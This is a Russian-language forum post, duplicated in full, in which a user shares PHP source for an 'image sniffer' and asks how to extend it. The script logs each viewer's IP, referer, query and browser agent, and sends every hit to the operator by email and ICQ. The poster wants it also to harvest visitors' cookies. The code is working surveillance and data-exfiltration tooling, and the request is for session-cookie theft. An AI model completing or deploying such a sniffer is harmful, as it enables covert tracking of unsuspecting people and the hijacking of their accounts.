martiniFresh
24.09.2012, 18:59
Здравствуйте. Вот скажите, у меня есть сниффер картиночный, в сниффире есть вот такой код:
PHP:
$entrie) {$filter=unserialize($entrie); if ($filter['field'] !="ip"and$filter['field'] !="referer"and$filter['field'] !="query"and$filter['field'] !="agent") break;$filter['value'] =str_replace("\\","\\\\",str_replace("\"","\\\"",$filter['value'])); switch ($filter['type']) { case"contain":$code="if (strpos(\$sniffed['".$filter['field']."'], \"".$filter['value']."\") !== false) show_image();"; break; case"uncontain":$code="if (strpos(\$sniffed['".$filter['field']."'], \"".$filter['value']."\") === false) show_image();"; break; case"equal":$code="if (\$sniffed['".$filter['field']."'] == \"".$filter['value']."\") show_image();"; break; case"unequal":$code="if (\$sniffed['".$filter['field']."'] != \"".$filter['value']."\") show_image();"; break; } @eval($code); } }$data= array();$da ta_content=get_file_content($data_filename); if ($data_content!==NULL)$data=unserialize($data_co ntent);$entrie=serialize($sniffed);$data[] =$entrie;$data_content=serialize($data);put_file _content($data_filename,$data_content); if ($email_sendandcheckmail($email_to)) {$date=$sni ffed['date'];$ip=$sniffed['ip'];$referer= ($sniffed['referer']) ?html_entity_decode($sniffed['referer']) :"-";$query= ($sniffed['query']) ?html_entity_decode($sniffed['query']) :"-";$agent= ($sniffed['agent']) ?html_entity_decode($sniffed['agent']) :"не определен";preg_match("/^https?:\/\/([^\/]+)/i",$sniffed['referer'],$matches);$host=$matches[1];$what= ($host) ?"запрос с ".$host:"новый запрос";$what_up= ($host) ?"Запрос с ".$host:"Новый запрос";$message="Сниффером перехвачен$what.\n\n"."Дата и время:$date\n\n"."IP:$ip\n"."REFERER:$referer\n"."QUERY:$query\n"."AGENT:$agent\n\n"."--\n"."См. полный лог:$sniffer_path"; @mail($email_to,$what_up,$message,"From: Sniffer Bot \nContent-Type: text/plain; charset=windows-1251"); } if ($icq_sendandis_uin($icq_uin_se nd_to)) { require"icqlib.php";$icq= newICQclient($icq_uin,$icq_password);$icq->connect(); if ($icq->connected) {$icq->login(); if ($icq->logged) {preg_match("/^https?:\/\/([^\/]+)/i",$sniffed['referer'],$matches);$host=$matches[1];$what= ($host) ?"запрос с ".$host:"новый запрос"; if ($icq_notify_type =="full") {$ip=$sniffed['ip'];$referer= ($sniffed['referer']) ?html_entity_decode($sniffed['referer']) :"-";$query= ($sniffed['query']) ?html_entity_decode($sniffed['query']) :"-";$agent= ($sniffed['agent']) ?html_entity_decode($sniffed['agent']) :"не определен";$message="Сниффером перехвачен$what:\n"."----------------------\n"."IP:$ip\n"."REFERER:$referer\n"."QUERY:$query\n"."AGENT:$agent\n"."----------------------\n"."См. полный лог:$sniffer_path"; } elseif ($icq_notify_type=="notify_only") {preg_match("/^https?:\/\/([^\/]+)/i",$sniffed['referer'],$matches);$host=$matches[1];$message="Сниффером перехвачен$what. С м. лог:$sniffer_path"; }$icq->send_message($icq_uin_send_to,$message); }$icq->disconnect(); } }show_image();?>
Проблема в том, что сниффер шлёт мне IP и с какого браузера посещали, а что и куда нужно дописать сюда, чтобы плюс к этому ещё и печеньки слал. В снифире есть такая возможность, но в этом коде, а этот код - картинка ;-) шлющая только IP и агент. Проблееемка.
PHP:
$entrie) {$filter=unserialize($entrie); if ($filter['field'] !="ip"and$filter['field'] !="referer"and$filter['field'] !="query"and$filter['field'] !="agent") break;$filter['value'] =str_replace("\\","\\\\",str_replace("\"","\\\"",$filter['value'])); switch ($filter['type']) { case"contain":$code="if (strpos(\$sniffed['".$filter['field']."'], \"".$filter['value']."\") !== false) show_image();"; break; case"uncontain":$code="if (strpos(\$sniffed['".$filter['field']."'], \"".$filter['value']."\") === false) show_image();"; break; case"equal":$code="if (\$sniffed['".$filter['field']."'] == \"".$filter['value']."\") show_image();"; break; case"unequal":$code="if (\$sniffed['".$filter['field']."'] != \"".$filter['value']."\") show_image();"; break; } @eval($code); } }$data= array();$da ta_content=get_file_content($data_filename); if ($data_content!==NULL)$data=unserialize($data_co ntent);$entrie=serialize($sniffed);$data[] =$entrie;$data_content=serialize($data);put_file _content($data_filename,$data_content); if ($email_sendandcheckmail($email_to)) {$date=$sni ffed['date'];$ip=$sniffed['ip'];$referer= ($sniffed['referer']) ?html_entity_decode($sniffed['referer']) :"-";$query= ($sniffed['query']) ?html_entity_decode($sniffed['query']) :"-";$agent= ($sniffed['agent']) ?html_entity_decode($sniffed['agent']) :"не определен";preg_match("/^https?:\/\/([^\/]+)/i",$sniffed['referer'],$matches);$host=$matches[1];$what= ($host) ?"запрос с ".$host:"новый запрос";$what_up= ($host) ?"Запрос с ".$host:"Новый запрос";$message="Сниффером перехвачен$what.\n\n"."Дата и время:$date\n\n"."IP:$ip\n"."REFERER:$referer\n"."QUERY:$query\n"."AGENT:$agent\n\n"."--\n"."См. полный лог:$sniffer_path"; @mail($email_to,$what_up,$message,"From: Sniffer Bot \nContent-Type: text/plain; charset=windows-1251"); } if ($icq_sendandis_uin($icq_uin_se nd_to)) { require"icqlib.php";$icq= newICQclient($icq_uin,$icq_password);$icq->connect(); if ($icq->connected) {$icq->login(); if ($icq->logged) {preg_match("/^https?:\/\/([^\/]+)/i",$sniffed['referer'],$matches);$host=$matches[1];$what= ($host) ?"запрос с ".$host:"новый запрос"; if ($icq_notify_type =="full") {$ip=$sniffed['ip'];$referer= ($sniffed['referer']) ?html_entity_decode($sniffed['referer']) :"-";$query= ($sniffed['query']) ?html_entity_decode($sniffed['query']) :"-";$agent= ($sniffed['agent']) ?html_entity_decode($sniffed['agent']) :"не определен";$message="Сниффером перехвачен$what:\n"."----------------------\n"."IP:$ip\n"."REFERER:$referer\n"."QUERY:$query\n"."AGENT:$agent\n"."----------------------\n"."См. полный лог:$sniffer_path"; } elseif ($icq_notify_type=="notify_only") {preg_match("/^https?:\/\/([^\/]+)/i",$sniffed['referer'],$matches);$host=$matches[1];$message="Сниффером перехвачен$what. С м. лог:$sniffer_path"; }$icq->send_message($icq_uin_send_to,$message); }$icq->disconnect(); } }show_image();?>
Проблема в том, что сниффер шлёт мне IP и с какого браузера посещали, а что и куда нужно дописать сюда, чтобы плюс к этому ещё и печеньки слал. В снифире есть такая возможность, но в этом коде, а этот код - картинка ;-) шлющая только IP и агент. Проблееемка.